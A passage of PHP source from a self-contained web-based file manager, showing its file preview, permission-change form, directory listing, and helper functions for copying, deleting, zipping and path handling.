?>&amp;unzip=<?php echo urlencode($file) ?>&amp;tofolder=1" title="Unpack to <?php echo fm_enc($zip_name) ?>"><i class="icon-apply"></i>\n                    Unpack to folder</a></b> &nbsp;\n                <?php\n            }\n            ?>\n            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="icon-goback"></i> Back</a></b>\n        </p>\n        <?php\n        if ($is_zip) {\n            // ZIP content\n            if ($filenames !== false) {\n                echo \'<code class="maxheight">\';\n                foreach ($filenames as $fn) {\n                    if ($fn[\'folder\']) {\n                        echo \'<b>\' . fm_enc($fn[\'name\']) . \'</b><br>\';\n                    } else {\n                        echo $fn[\'name\'] . \' (\' . fm_get_filesize($fn[\'filesize\']) . \')<br>\';\n                    }\n                }\n                echo \'</code>\';\n            } else {\n                echo \'<p>Error while fetching archive info</p>\';\n            }\n        } elseif ($is_image) {\n            // Image content\n            if (in_array($ext, array(\'gif\', \'jpg\', \'jpeg\', \'png\', \'bmp\', \'ico\'))) {\n                echo \'<p><img src="\' . fm_enc($file_url) . \'" alt="" class="preview-img"></p>\';\n            }\n        } elseif ($is_audio) {\n            // Audio content\n            echo \'<p><audio src="\' . fm_enc($file_url) . \'" controls preload="metadata"></audio></p>\';\n        } elseif ($is_video) {\n            // Video content\n            echo \'<div class="preview-video"><video src="\' . fm_enc($file_url) . \'" width="640" height="360" controls preload="metadata"></video></div>\';\n        } elseif ($is_text) {\n            if (FM_USE_HIGHLIGHTJS) {\n                // highlight\n                $hljs_classes = array(\n                    \'shtml\' => \'xml\',\n                    \'htaccess\' => \'apache\',\n                    \'phtml\' => \'php\',\n                    \'lock\' => \'json\',\n                    \'svg\' => \'xml\',\n                );\n                $hljs_class = isset($hljs_classes[$ext]) ? \'lang-\' . $hljs_classes[$ext] : \'lang-\' . $ext;\n                if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match(\'#\\.min\\.(css|js)$#i\', $file)) {\n                    $hljs_class = \'nohighlight\';\n                }\n                $content = \'<pre class="with-hljs"><code class="\' . $hljs_class . \'">\' . fm_enc($content) . \'</code></pre>\';\n            } elseif (in_array($ext, array(\'php\', \'php4\', \'php5\', \'phtml\', \'phps\'))) {\n                // php highlight\n                $content = highlight_string($content, true);\n            } else {\n                $content = \'<pre>\' . fm_enc($content) . \'</pre>\';\n            }\n            echo $content;\n        }\n        ?>\n    </div>\n    <?php\n    fm_show_footer();\n    exit;\n}\n\n// chmod (not for Windows)\nif (isset($_GET[\'chmod\']) && !FM_IS_WIN) {\n    $file = $_GET[\'chmod\'];\n    $file = fm_clean_path($file);\n    $file = str_replace(\'/\', \'\', $file);\n    if ($file == \'\' || (!is_file($path . \'/\' . $file) && !is_dir($path . \'/\' . $file))) {\n        fm_set_msg(\'File not found\', \'error\');\n        fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));\n    }\n\n    fm_show_header(); // HEADER\n    fm_show_nav_path(FM_PATH); // current path\n\n    $file_url = FM_ROOT_URL . (FM_PATH != \'\' ? \'/\' . FM_PATH : \'\') . \'/\' . $file;\n    $file_path = $path . \'/\' . $file;\n\n    $mode = fileperms($path . \'/\' . $file);\n\n    ?>\n    <div class="path">\n        <p><b>Change Permissions</b></p>\n        <p>\n            Full path: <?php echo fm_enc($file_path) ?><br>\n        </p>\n        <form action="" method="post">\n            <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">\n            <input type="hidden" name="chmod" value="<?php echo fm_enc($file) ?>">\n\n            <table class="compact-table">\n                <tr>\n                    <td></td>\n                    <td><b>Owner</b></td>\n                    <td><b>Group</b></td>\n                    <td><b>Other</b></td>\n                </tr>\n                <tr>\n                    <td style="text-align: right"><b>Read</b></td>\n                    <td><label><input type="checkbox" name="ur" value="1"<?php echo ($mode & 00400) ? \' checked\' : \'\' ?>></label></td>\n                    <td><label><input type="checkbox" name="gr" value="1"<?php echo ($mode & 00040) ? \' checked\' : \'\' ?>></label></td>\n                    <td><label><input type="checkbox" name="or" value="1"<?php echo ($mode & 00004) ? \' checked\' : \'\' ?>></label></td>\n                </tr>\n                <tr>\n                    <td style="text-align: right"><b>Write</b></td>\n                    <td><label><input type="checkbox" name="uw" value="1"<?php echo ($mode & 00200) ? \' checked\' : \'\' ?>></label></td>\n                    <td><label><input type="checkbox" name="gw" value="1"<?php echo ($mode & 00020) ? \' checked\' : \'\' ?>></label></td>\n                    <td><label><input type="checkbox" name="ow" value="1"<?php echo ($mode & 00002) ? \' checked\' : \'\' ?>></label></td>\n                </tr>\n                <tr>\n                    <td style="text-align: right"><b>Execute</b></td>\n                    <td><label><input type="checkbox" name="ux" value="1"<?php echo ($mode & 00100) ? \' checked\' : \'\' ?>></label></td>\n                    <td><label><input type="checkbox" name="gx" value="1"<?php echo ($mode & 00010) ? \' checked\' : \'\' ?>></label></td>\n                    <td><label><input type="checkbox" name="ox" value="1"<?php echo ($mode & 00001) ? \' checked\' : \'\' ?>></label></td>\n                </tr>\n            </table>\n\n            <p>\n                <button class="btn"><i class="icon-apply"></i> Change</button> &nbsp;\n                <b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="icon-cancel"></i> Cancel</a></b>\n            </p>\n\n        </form>\n\n    </div>\n    <?php\n    fm_show_footer();\n    exit;\n}\n\n//--- FILEMANAGER MAIN\nfm_show_header(); // HEADER\nfm_show_nav_path(FM_PATH); // current path\n\n// messages\nfm_show_message();\n\n$num_files = count($files);\n$num_folders = count($folders);\n$all_files_size = 0;\n?>\n<form action="" method="post">\n<input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">\n<input type="hidden" name="group" value="1">\n<table><tr>\n<th style="width:3%"><label><input type="checkbox" title="Invert selection" onclick="checkbox_toggle()"></label></th>\n<th>Name</th><th style="width:10%">Size</th>\n<th style="width:12%">Modified</th>\n<?php if (!FM_IS_WIN): ?><th style="width:6%">Perms</th><th style="width:10%">Owner</th><?php endif; ?>\n<th style="width:13%"></th></tr>\n<?php\n// link to parent folder\nif ($parent !== false) {\n    ?>\n<tr><td></td><td colspan="<?php echo !FM_IS_WIN ? \'6\' : \'4\' ?>"><a href="?p=<?php echo urlencode($parent) ?>"><i class="icon-arrow_up"></i> ..</a></td></tr>\n<?php\n}\nforeach ($folders as $f) {\n    $is_link = is_link($path . \'/\' . $f);\n    $img = $is_link ? \'icon-link_folder\' : \'icon-folder\';\n    $modif = date(FM_DATETIME_FORMAT, filemtime($path . \'/\' . $f));\n    $perms = substr(decoct(fileperms($path . \'/\' . $f)), -4);\n    if (function_exists(\'posix_getpwuid\') && function_exists(\'posix_getgrgid\')) {\n        $owner = posix_getpwuid(fileowner($path . \'/\' . $f));\n        $group = posix_getgrgid(filegroup($path . \'/\' . $f));\n    } else {\n        $owner = array(\'name\' => \'?\');\n        $group = array(\'name\' => \'?\');\n    }\n    ?>\n<tr>\n<td><label><input type="checkbox" name="file[]" value="<?php echo fm_enc($f) ?>"></label></td>\n<td><div class="filename"><a href="?p=<?php echo urlencode(trim(FM_PATH . \'/\' . $f, \'/\')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_enc(fm_convert_win($f)) ?></a><?php echo ($is_link ? \' &rarr; <i>\' . fm_enc(readlink($path . \'/\' . $f)) . \'</i>\' : \'\') ?></div></td>\n<td>Folder</td><td><?php echo $modif ?></td>\n<?php if (!FM_IS_WIN): ?>\n<td><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a></td>\n<td><?php echo fm_enc($owner[\'name\'] . \':\' . $group[\'name\']) ?></td>\n<?php endif; ?>\n<td>\n<a title="Delete" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="return confirm(\'Delete folder?\');"><i class="icon-cross"></i></a>\n<a title="Rename" href="#" onclick="rename(\'<?php echo fm_enc(FM_PATH) ?>\', \'<?php echo fm_enc($f) ?>\');return false;"><i class="icon-rename"></i></a>\n<a title="Copy to..." href="?p=&amp;copy=<?php echo urlencode(trim(FM_PATH . \'/\' . $f, \'/\')) ?>"><i class="icon-copy"></i></a>\n<a title="Direct link" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != \'\' ? \'/\' . FM_PATH : \'\') . \'/\' . $f . \'/\') ?>" target="_blank"><i class="icon-chain"></i></a>\n</td></tr>\n    <?php\n    flush();\n}\n\nforeach ($files as $f) {\n    $is_link = is_link($path . \'/\' . $f);\n    $img = $is_link ? \'icon-link_file\' : fm_get_file_icon_class($path . \'/\' . $f);\n    $modif = date(FM_DATETIME_FORMAT, filemtime($path . \'/\' . $f));\n    $filesize_raw = filesize($path . \'/\' . $f);\n    $filesize = fm_get_filesize($filesize_raw);\n    $filelink = \'?p=\' . urlencode(FM_PATH) . \'&view=\' . urlencode($f);\n    $all_files_size += $filesize_raw;\n    $perms = substr(decoct(fileperms($path . \'/\' . $f)), -4);\n    if (function_exists(\'posix_getpwuid\') && function_exists(\'posix_getgrgid\')) {\n        $owner = posix_getpwuid(fileowner($path . \'/\' . $f));\n        $group = posix_getgrgid(filegroup($path . \'/\' . $f));\n    } else {\n        $owner = array(\'name\' => \'?\');\n        $group = array(\'name\' => \'?\');\n    }\n    ?>\n<tr>\n<td><label><input type="checkbox" name="file[]" value="<?php echo fm_enc($f) ?>"></label></td>\n<td><div class="filename"><a href="<?php echo fm_enc($filelink) ?>" title="File info"><i class="<?php echo $img ?>"></i> <?php echo fm_enc(fm_convert_win($f)) ?></a><?php echo ($is_link ? \' &rarr; <i>\' . fm_enc(readlink($path . \'/\' . $f)) . \'</i>\' : \'\') ?></div></td>\n<td><span class="gray" title="<?php printf(\'%s bytes\', $filesize_raw) ?>"><?php echo $filesize ?></span></td>\n<td><?php echo $modif ?></td>\n<?php if (!FM_IS_WIN): ?>\n<td><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a></td>\n<td><?php echo fm_enc($owner[\'name\'] . \':\' . $group[\'name\']) ?></td>\n<?php endif; ?>\n<td>\n<a title="Delete" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="return confirm(\'Delete file?\');"><i class="icon-cross"></i></a>\n<a title="Rename" href="#" onclick="rename(\'<?php echo fm_enc(FM_PATH) ?>\', \'<?php echo fm_enc($f) ?>\');return false;"><i class="icon-rename"></i></a>\n<a title="Copy to..." href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode(trim(FM_PATH . \'/\' . $f, \'/\')) ?>"><i class="icon-copy"></i></a>\n<a title="Direct link" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != \'\' ? \'/\' . FM_PATH : \'\') . \'/\' . $f) ?>" target="_blank"><i class="icon-chain"></i></a>\n<a title="Download" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($f) ?>"><i class="icon-download"></i></a>\n</td></tr>\n    <?php\n    flush();\n}\n\nif (empty($folders) && empty($files)) {\n    ?>\n<tr><td></td><td colspan="<?php echo !FM_IS_WIN ? \'6\' : \'4\' ?>"><em>Folder is empty</em></td></tr>\n<?php\n} else {\n    ?>\n<tr><td class="gray"></td><td class="gray" colspan="<?php echo !FM_IS_WIN ? \'6\' : \'4\' ?>">\nFull size: <span title="<?php printf(\'%s bytes\', $all_files_size) ?>"><?php echo fm_get_filesize($all_files_size) ?></span>,\nfiles: <?php echo $num_files ?>,\nfolders: <?php echo $num_folders ?>\n</td></tr>\n<?php\n}\n?>\n</table>\n<p class="path"><a href="#" onclick="select_all();return false;"><i class="icon-checkbox"></i> Select all</a> &nbsp;\n<a href="#" onclick="unselect_all();return false;"><i class="icon-checkbox_uncheck"></i> Unselect all</a> &nbsp;\n<a href="#" onclick="invert_all();return false;"><i class="icon-checkbox_invert"></i> Invert selection</a></p>\n<p><input type="submit" name="delete" value="Delete" onclick="return confirm(\'Delete selected files and folders?\')">\n<input type="submit" name="zip" value="Pack" onclick="return confirm(\'Create archive?\')">\n<input type="submit" name="copy" value="Copy"></p>\n</form>\n\n<?php\nfm_show_footer();\n\n//--- END\n\n// Functions\n\n/**\n * Delete  file or folder (recursively)\n * @param string $path\n * @return bool\n */\nfunction fm_rdelete($path)\n{\n    if (is_link($path)) {\n        return unlink($path);\n    } elseif (is_dir($path)) {\n        $objects = scandir($path);\n        $ok = true;\n        if (is_array($objects)) {\n            foreach ($objects as $file) {\n                if ($file != \'.\' && $file != \'..\') {\n                    if (!fm_rdelete($path . \'/\' . $file)) {\n                        $ok = false;\n                    }\n                }\n            }\n        }\n        return ($ok) ? rmdir($path) : false;\n    } elseif (is_file($path)) {\n        return unlink($path);\n    }\n    return false;\n}\n\n/**\n * Recursive chmod\n * @param string $path\n * @param int $filemode\n * @param int $dirmode\n * @return bool\n * @todo Will use in mass chmod\n */\nfunction fm_rchmod($path, $filemode, $dirmode)\n{\n    if (is_dir($path)) {\n        if (!chmod($path, $dirmode)) {\n            return false;\n        }\n        $objects = scandir($path);\n        if (is_array($objects)) {\n            foreach ($objects as $file) {\n                if ($file != \'.\' && $file != \'..\') {\n                    if (!fm_rchmod($path . \'/\' . $file, $filemode, $dirmode)) {\n                        return false;\n                    }\n                }\n            }\n        }\n        return true;\n    } elseif (is_link($path)) {\n        return true;\n    } elseif (is_file($path)) {\n        return chmod($path, $filemode);\n    }\n    return false;\n}\n\n/**\n * Safely rename\n * @param string $old\n * @param string $new\n * @return bool|null\n */\nfunction fm_rename($old, $new)\n{\n    return (!file_exists($new) && file_exists($old)) ? rename($old, $new) : null;\n}\n\n/**\n * Copy file or folder (recursively).\n * @param string $path\n * @param string $dest\n * @param bool $upd Update files\n * @param bool $force Create folder with same names instead file\n * @return bool\n */\nfunction fm_rcopy($path, $dest, $upd = true, $force = true)\n{\n    if (is_dir($path)) {\n        if (!fm_mkdir($dest, $force)) {\n            return false;\n        }\n        $objects = scandir($path);\n        $ok = true;\n        if (is_array($objects)) {\n            foreach ($objects as $file) {\n                if ($file != \'.\' && $file != \'..\') {\n                    if (!fm_rcopy($path . \'/\' . $file, $dest . \'/\' . $file)) {\n                        $ok = false;\n                    }\n                }\n            }\n        }\n        return $ok;\n    } elseif (is_file($path)) {\n        return fm_copy($path, $dest, $upd);\n    }\n    return false;\n}\n\n/**\n * Safely create folder\n * @param string $dir\n * @param bool $force\n * @return bool\n */\nfunction fm_mkdir($dir, $force)\n{\n    if (file_exists($dir)) {\n        if (is_dir($dir)) {\n            return $dir;\n        } elseif (!$force) {\n            return false;\n        }\n        unlink($dir);\n    }\n    return mkdir($dir, 0777, true);\n}\n\n/**\n * Safely copy file\n * @param string $f1\n * @param string $f2\n * @param bool $upd\n * @return bool\n */\nfunction fm_copy($f1, $f2, $upd)\n{\n    $time1 = filemtime($f1);\n    if (file_exists($f2)) {\n        $time2 = filemtime($f2);\n        if ($time2 >= $time1 && $upd) {\n            return false;\n        }\n    }\n    $ok = copy($f1, $f2);\n    if ($ok) {\n        touch($f2, $time1);\n    }\n    return $ok;\n}\n\n/**\n * Get mime type\n * @param string $file_path\n * @return mixed|string\n */\nfunction fm_get_mime_type($file_path)\n{\n    if (function_exists(\'finfo_open\')) {\n        $finfo = finfo_open(FILEINFO_MIME_TYPE);\n        $mime = finfo_file($finfo, $file_path);\n        finfo_close($finfo);\n        return $mime;\n    } elseif (function_exists(\'mime_content_type\')) {\n        return mime_content_type($file_path);\n    } elseif (!stristr(ini_get(\'disable_functions\'), \'shell_exec\')) {\n        $file = escapeshellarg($file_path);\n        $mime = shell_exec(\'file -bi \' . $file);\n        return $mime;\n    } else {\n        return \'--\';\n    }\n}\n\n/**\n * HTTP Redirect\n * @param string $url\n * @param int $code\n */\nfunction fm_redirect($url, $code = 302)\n{\n    header(\'Location: \' . $url, true, $code);\n    exit;\n}\n\n/**\n * Clean path\n * @param string $path\n * @return string\n */\nfunction fm_clean_path($path)\n{\n    $path = trim($path);\n    $path = trim($path, \'\\\\/\');\n    $path = str_replace(array(\'../\', \'..\\\\\'), \'\', $path);\n    if ($path == \'..\') {\n        $path = \'\';\n    }\n    return str_replace(\'\\\\\', \'/\', $path);\n}\n\n/**\n * Get parent path\n * @param string $path\n * @return bool|string\n */\nfunction fm_get_parent_path($path)\n{\n    $path = fm_clean_path($path);\n    if ($path != \'\') {\n        $array = explode(\'/\', $path);\n        if (count($array) > 1) {\n            $array = array_slice($array, 0, -1);\n            return implode(\'/\', $array);\n        }\n        return \'\';\n    }\n    return false;\n}\n\n/**\n * Get nice filesize\n * @param int $size\n * @return string\n */\nfunction fm_get_filesize($size)\n{\n    if ($size < 1000) {\n        return sprintf(\'%s B\', $size);\n    } elseif (($size / 1024) < 1000) {\n        return sprintf(\'%s KiB\', round(($size / 1024), 2));\n    } elseif (($size / 1024 / 1024) < 1000) {\n        return sprintf(\'%s MiB\', round(($size / 1024 / 1024), 2));\n    } elseif (($size / 1024 / 1024 / 1024) < 1000) {\n        return sprintf(\'%s GiB\', round(($size / 1024 / 1024 / 1024), 2));\n    } else {\n        return sprintf(\'%s TiB\', round(($size / 1024 / 1024 / 1024 / 1024), 2));\n    }\n}\n\n/**\n * Get info about zip archive\n * @param string $path\n * @return array|bool\n */\nfunction fm_get_zif_info($path)\n{\n    if (function_exists(\'zip_open\')) {\n        $arch = zip_open($path);\n        if ($arch) {\n            $filenames = array();\n            while ($zip_entry = zip_read($arch)) {\n                $zip_name = zip_entry_name($zip_entry);\n                $zip_folder = substr($zip_name, -1) == \'/\';\n                $filenames[] = array(\n                    \'name\' => $zip_name,\n                    \'filesize\' => zip_entry_filesize($zip_entry),\n                    \'compressed_size\' => zip_entry_compressedsize($zip_entry),\n                    \'folder\' => $zip_folder\n                    //\'compression_method\' => zip_entry_compressionmethod($zip_entry),\n                );\n            }\n            zip_close($arch);\n            return $filenames;\n        }\n    }\n    return false;\n}\n\n/**\n * Encode html entities\n * @param string $text\n * @return string\n */\nfunction fm_enc($text)\n{\n    return htmlspecialchars($text, ENT_QUOTES, \'UTF-8\');\n}\n\n/**\n * Save message in session\n * @param string $msg\n * @param string $status\n */\nfunction fm_set_msg($msg, $status = \'ok\')\n{\n    $_SESSION[\'message\'] = $msg;\n    $_SESSION[\'status\'] = $status;\n}\n\n/**\n * Check if string is in UTF-8\n * @param string $string\n * @return int\n */\nfunction fm_is_utf8($string)\n{\n    return preg_match(\'//u\', $string);\n}\n\n/**\n * Convert file name to UTF-8 in Windows\n * @param string $filename\n * @return string\n */\nfunction fm_convert_win($filename)\n{\n    if (FM_IS_WIN && function_exists(\'iconv\')) {\n        $filename = iconv(FM_ICONV_INPUT_ENC, \'UTF-8//IGNORE\', $filename);\n    }\n    return $filename;\n}\n\n/**\n * Get CSS classname for file\n * @param string $path\n * @return string\n */\nfunction fm_get_file_icon_class($path)\n{\n    // get extension\n    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));\n\n    switch ($ext) {\n        case \'ico\': case \'gif\': case \'jpg\': case \'jpeg\': case \'jpc\': case \'jp2\':\n        case \'jpx\': case \'xbm\': case \'wbmp\': case \'png\': case \'bmp\': case \'tif\':\n        case \'tiff\':\n            $img = \'icon-file_image\';\n            break;\n        case \'txt\': case \'css\': case \'ini\': case \'conf\': case \'log\': case \'htaccess\':\n        case \'passwd\': case \'ftpquota\': case \'sql\': case \'js\': case \'json\': case \'sh\':\n        case \'config\': case \'twig\': case \'tpl\': case \'md\': case \'gitignore\':\n        case \'less\': case \'sass\': case \'scss\': case \'c\': case \'cpp\': case \'cs\': case \'py\':\n        case \'map\': case \'lock\': case \'dtd\':\n            $img = \'icon-file_text\';\n            break;\n        case \'zip\': case \'rar\': case \'gz\': case \'tar\': case \'7z\':\n            $img = \'icon-file_zip\';\n            break;\n        case \'php\': case \'php4\': case \'php5\': case \'phps\': case \'phtml\':\n            $img = \'icon-file_php\';\n            break;\n        case \'htm\': case \'html\': case \'shtml\': case \'xhtml\':\n            $img = \'icon-file_html\';\n            break;\n        case \'xml\': case \'xsl\': case \'svg\':\n            $img = \'icon-file_code\';\n            break;\n        case \'wav\': case \'mp3\': case \'mp2\': case \'m4a\': case \'aac\': case \'ogg\':\n        case \'oga\': case \'wma\': case \'mka\': case \'flac\': case \'ac3\': case \'tds\':\n            $img = \'icon-file_music\';\n            break;\n        case \'m3u\': case \'m3u8\': case \'pls\': case \'cue\':\n            $img = \'icon-file_playlist\';\n            break;\n        case \'avi\': case \'mpg\': case \'mpeg\': case \'mp4\': case \'m4v\': case \'flv\':\n        case \'f4v\': case \'ogm\': case \'ogv\': case \'mov\': case \'mkv\': case \'3gp\':\n        case \'asf\': case \'wmv\':\n            $img = \'icon-file_film\';\n            break;\n        case \'eml\': case \'msg\':\n            $img = \'icon-file_outlook\';\n            break;\n        case \'xls\': case \'xlsx\':\n            $img = \'icon-file_excel\';\n            break;\n        case \'csv\':\n            $img = \'icon-file_csv\';\n            break;\n        case \'doc\': case \'docx\':\n            $img = \'icon-file_word\';\n            break;\n        case \'ppt\': case \'pptx\':\n            $img = \'icon-file_powerpoint\';\n            break;\n        case \'ttf\': case \'ttc\': case \'otf\': case \'woff\':case \'woff2\': case \'eot\': case \'fon\':\n            $img = \'icon-file_font\';\n            break;\n        case \'pdf\':\n            $img = \'icon-file_pdf\';\n            break;\n        case \'psd\':\n            $img = \'icon-file_photoshop\';\n            break;\n        case \'ai\': case \'eps\':\n            $img = \'icon-file_illustrator\';\n            break;\n        case \'fla\':\n            $img = \'icon-file_flash\';\n            break;\n        case \'swf\':\n            $img = \'icon-file_swf\';\n            break;\n        case \'exe\': case \'msi\':\n            $img = \'icon-file_application\';\n            break;\n        case \'bat\':\n            $img = \'icon-file_terminal\';\n            break;\n        default:\n            $img = \'icon-document\';\n    }\n\n    return $img;\n}\n\n/**\n * Get image files extensions\n * @return array\n */\nfunction fm_get_image_exts()\n{\n    return array(\'ico\', \'gif\', \'jpg\', \'jpeg\', \'jpc\', \'jp2\', \'jpx\', \'xbm\', \'wbmp\', \'png\', \'bmp\', \'tif\', \'tiff\', \'psd\');\n}\n\n/**\n * Get video files extensions\n * @return array\n */\nfunction fm_get_video_exts()\n{\n    return array(\'webm\', \'mp4\', \'m4v\', \'ogm\', \'ogv\', \'mov\');\n}\n\n/**\n * Get audio files extensions\n * @return array\n */\nfunction fm_get_audio_exts()\n{\n    return array(\'wav\', \'mp3\', \'ogg\', \'m4a\');\n}\n\n/**\n * Get text file extensions\n * @return array\n */\nfunction fm_get_text_exts()\n{\n    return array(\n        \'txt\', \'css\', \'ini\', \'conf\', \'log\', \'htaccess\', \'passwd\', \'ftpquota\', \'sql\', \'js\', \'json\', \'sh\', \'config\',\n        \'php\', \'php4\', \'php5\', \'phps\', \'phtml\', \'htm\', \'html\', \'shtml\', \'xhtml\', \'xml\', \'xsl\', \'m3u\', \'m3u8\', \'pls\', \'cue\',\n        \'eml\', \'msg\', \'csv\', \'bat\', \'twig\', \'tpl\', \'md\', \'gitignore\', \'less\', \'sass\', \'scss\', \'c\', \'cpp\', \'cs\', \'py\',\n        \'map\', \'lock\', \'dtd\', \'svg\',\n    );\n}\n\n/**\n * Get mime types of text files\n * @return array\n */\nfunction fm_get_text_mimes()\n{\n    return array(\n        \'application/xml\',\n        \'application/javascript\',\n        \'application/x-javascript\',\n        \'image/svg+xml\',\n        \'message/rfc822\',\n    );\n}\n\n/**\n * Get file names of text files w/o extensions\n * @return array\n */\nfunction fm_get_text_names()\n{\n    return array(\n        \'license\',\n        \'readme\',\n        \'authors\',\n        \'contributors\',\n        \'changelog\',\n    );\n}\n\n/**\n * Class to work with zip files (using ZipArchive)\n */\nclass FM_Zipper\n{\n    private $zip;\n\n    public function __construct()\n    {\n        $this->zip = new ZipArchive();\n    }\n\n    /**\n     * Create archive with name $filename and files $files (RELATIVE PATHS!)\n     * @param string $filename\n     * @param array|string $files\n     * @return bool\n     */\n    public function create($filename, $files)\n    {\n        $res = $this->zip->open($filename, ZipArchive::CREATE);\n        if ($res !== true) {\n            return false;\n        }\n        if (is_array($files)) {\n            foreach ($files as $f) {\n                if (!$this->addFileOrDir($f)) {\n                    $this->zip->close();\n                    return false;\n                }\n            }\n            $this->zip->close();\n            return true;\n        } else {\n            if ($this->addFileOrDir($files)) {\n                $this->zip->close();\n                return true;\n            }\n            return false;\n        }\n    }\n\n    /**\n     * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)\n     * @param string $filename\n     * @param string $path\n     * @return bool\n     */\n    public function unzip($filename, $path)\n    {\n        $res = $this->zip->open($filename);\n        if ($res !== true) {\n            return false;\n        }\n        if ($this->zip->extractTo($path)) {\n            $this->zip->close();\n            return true;\n        }\n        return false;\n    }\n\n    /**\n     * Add file/folder to archive\n     * @param string $filename\n     * @return bool\n     */\n    private function addFileOrDir($filename)\n    {\n        if (is_file($filename)) {\n            return $this->zip->addFile($filename);\n        } elseif (is_dir($filename)) {\n            return $this->addDir($filename);\n        }\n        return false;\n    }\n\n    /**\n     * Add folder recursively\n     * @param string $path\n     * @return bool\n     */\n    private function addDir($path)\n    {\n        if (!$this->zip->addEmptyDir($path)) {\n            return false;\n        }\n        $objects = scandir($path);\n        if (is_array($objects)) {\n            foreach ($objects as $file) {\n                if ($file != \'.\' && $file != \'..\') {\n                    if (is_dir($path . \'/\' . $file)) {\n                        if (!$this->addDir($path . \'/\' . $file)) {\n                            return false;\n                        }\n                    } elseif (is_file($path . \'/\' . $file)) {\n                        if (!$this->zip->addFile($path . \'/\' . $file)) {\n                            return false;\n                        }\n                    }\n                }\n            }\n            return true;\n        }\n        return false;\n    }\n}\n\n//--- templates functions\n\n/**\n * Show nav block\n * @param string $path\n */\nfunction fm_show_nav_path($path)\n{\n    ?>\n<div class="path">\n<div class="float-right">\n<a title="Upload files" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;upload"><i class="icon-upload"></i></a>\n<a title="New folder" href="#" onclick="newfolder(\'<?php echo fm_enc(FM_PATH) ?>\');return false;"><i class="icon-folder_add"></i></a>\n<?php if (FM_USE_AUTH): ?><a title="Logout" href="?logout=1"><i class="icon-logout"></i></a><?php endif; ?>\n</div>\n        <?php\n        $path = fm_clean_path($path);\n        $root_url = "<a href=\'?p=\'><i class=\'icon-home\' title=\'" . FM_ROOT_PATH . "\'></i></a>";\n        $sep = \'<i class="icon-separator"></i>\';\n        if ($path != \'\') {\n            $exploded = explode(\'/\', $path);\n            $count = count($exploded);\n            $array = array();\n            $parent = \'\';\n            for ($i = 0; $i < $count; $i++) {\n                $parent = trim($parent . \'/\' . $exploded[$i], \'/\');\n                $parent_enc = urlencode($parent);\n                $array[] = "<a href=\'?p={$parent_enc}\'>" . fm_enc(fm_convert_win($exploded[$i])) . "</a>";\n            }\n            $root_url .= $sep . implode($sep, $array);\n        }\n        echo \'<div class="break-word">\' . $root_url . \'</div>\';\n        ?>\n</div>\n<?php\n}\n\n/**\n * Show message from session\n */\nfunction fm_show_message()\n{\n    if (isset($_SESSION[\'message\'])) {\n        $class = isset($_SESSION[\'status\']) ? $_SESSION[\'status\'] : \'ok\';\n        echo \'<p class="message \' . $class . \'">\' . $_SESSION[\'message\'] . \'</p>\';\n        unset($_SESSION[\'message\']);\n        unset($_SESSION[\'status\']);\n    }\n}\n\n/**\n * Show page header\n */\nfunction fm_show_header()\n{\n    $sprites_ver = \'20160315\';\n    header("Content-Type: text/html; charset=utf-8");\n    header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");\n    header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");\n    header("Pragma: no-cache");\n    ?>\n<!DOCTYPE html>\n<html>\n<head>\n<meta charset="utf-8">\n<title>PHP File Manager</title>\n<style>\nhtml,body,div,span,p,pre,a,code,em,img,small,strong,ol,ul,li,form,label,table,tr,th,td{margin:0;padding:0;vertical-align:baseline;outline:none;font-size:100%;background:transparent;border:none;text-decoration:none}\nhtml{overflow-y:scroll}body{padding:0;font:13px/16px Tahoma,Arial,sans-serif;color:#222;background:#efefef}\ninput,select,textarea,button{font-size:inherit;font-family:inherit}\na{color:#296ea3;text-decoration:none}a:hover{color:#b00}img{vertical-align:middle;border:none}\na img{border:none}span.gray{color:#777}small{font-size:11px;color:#999}p{margin-bottom:10px}\nul{margin-left:2em;margin-bottom:10px}ul{list-style-type:none;margin-left:0}ul li{padding:3px 0}\ntable{border-collapse:collapse;border-spacing:0;margin-bottom:10px;width:100%}\nth,td{padding:4px 7px;text-align:left;vertical-align:top;border:1px solid #ddd;background:#fff;white-space:nowrap}\nth,td.gray{background-color:#eee}td.gray span{color:#222}\ntr:hover td{background-color:#f5f5f5}tr:hover td.gray{background-color:#eee}\ncode,pre{display:block;margin-bottom:10px;font:13px/16px Consolas,\'Courier New\',Courier,monospace;border:1px dashed #ccc;padding:5px;overflow:auto}\npre.with-hljs{padding:0}\npre.with-hljs code{margin:0;border:0;overflow:visible}\ncode.maxheight,pre.maxheight{max-height:512px}input[type="checkbox"]{margin:0;padding:0}\n#wrapper{max-width:1000px;min-width:400px;margin:10px auto}\n.path{padding:4px 7px;border:1px solid #ddd;background-color:#fff;margin-bottom:10px}\n.right{text-align:right}.center{text-align:center}.float-right{float:right}\n.message{padding:4px 7px;border:1px solid 